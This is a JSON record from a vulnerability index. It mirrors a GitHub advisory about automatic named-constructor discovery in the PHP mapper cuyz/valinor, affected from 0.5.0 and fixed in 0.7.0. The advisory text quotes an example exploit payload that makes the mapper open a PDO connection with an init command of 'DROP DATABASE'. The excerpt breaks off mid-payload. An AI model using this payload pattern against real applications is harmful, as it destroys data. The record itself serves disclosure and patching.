{"items":[{"id":"NVI-00002606","kind":"vulnerability","title":"Automatic named constructor discovery in Valinor","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-xhr8-mpwq-2rr2"],"plain_summary":"OSV carries this publisher advisory for cuyz/valinor. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 0.7.0 for cuyz/valinor. Confirm the publisher’s latest guidance.","source_ids":["sr-1f4df5061a35c1a8860b7b5dd7361ace"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-1f4df5061a35c1a8860b7b5dd7361ace","url":"https://github.com/advisories/GHSA-xhr8-mpwq-2rr2","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-xhr8-mpwq-2rr2","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:51.445Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-1f4df5061a35c1a8860b7b5dd7361ace"],"technology":"cuyz/valinor","known_exclusions":[],"conditions_summary":"## Design issue - automatic constructor discovery\n\nThe issue arises when upgrading from `cuyz/valinor:0.3.0` to a newer system on an existing application, which broke due to the wrong constructor being picked.\n\nStill, a bigger security concern is problematic, and it is akin to https://github.com/rails/rails/issues/5228.\n\n## Example exploit\n\nTake following DTO example:\n\n```php\nfinal class UserDTO\n{\n    public function __construct(\n        public int $id,\n        public string $name\n    ) {}\n    public static function fromDb(\n        PDO $connection,\n        int $id\n    ): self { /* ... code to fetch the DTO here ... */ }\n}\n```\n\nThere is nothing inherently unsafe about the above `UserDTO`, but when mixed with `cuyz/valinor:^0.5.0` ( specifically https://github.com/CuyZ/Valinor/commit/718d3c1bc2ea7d28b4b1f6c062addcd1dde8660b ), it is an explosive mix:\n\n```php\n// this could be coming from user input:\n$maliciousPayload = [\n    'connection' => [\n      'dsn' => 'mysql:host=some-host;database=some-database',\n      'username' => 'root',\n      'password' => 'root',\n      'options' => [\n        // PDO::MYSQL_ATTR_INIT_COMMAND === 1002\n        1002 => 'DROP DATABASE all-the-moneys'\n      ]\n   ","public_affected_ranges":["ECOSYSTEM: introduced 0.5.0; fixed 0.7.0"]}],"null_published_at":"2026-10-31T22:00:33.896Z","source_updated_at":"2024-12-05T05:34:24.161Z","source_disclosed_at":"2022-04-01T13:39:45.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-10-31T21:42:51.445Z"}],"next_cursor":null,"snapshot_revision":"42594"}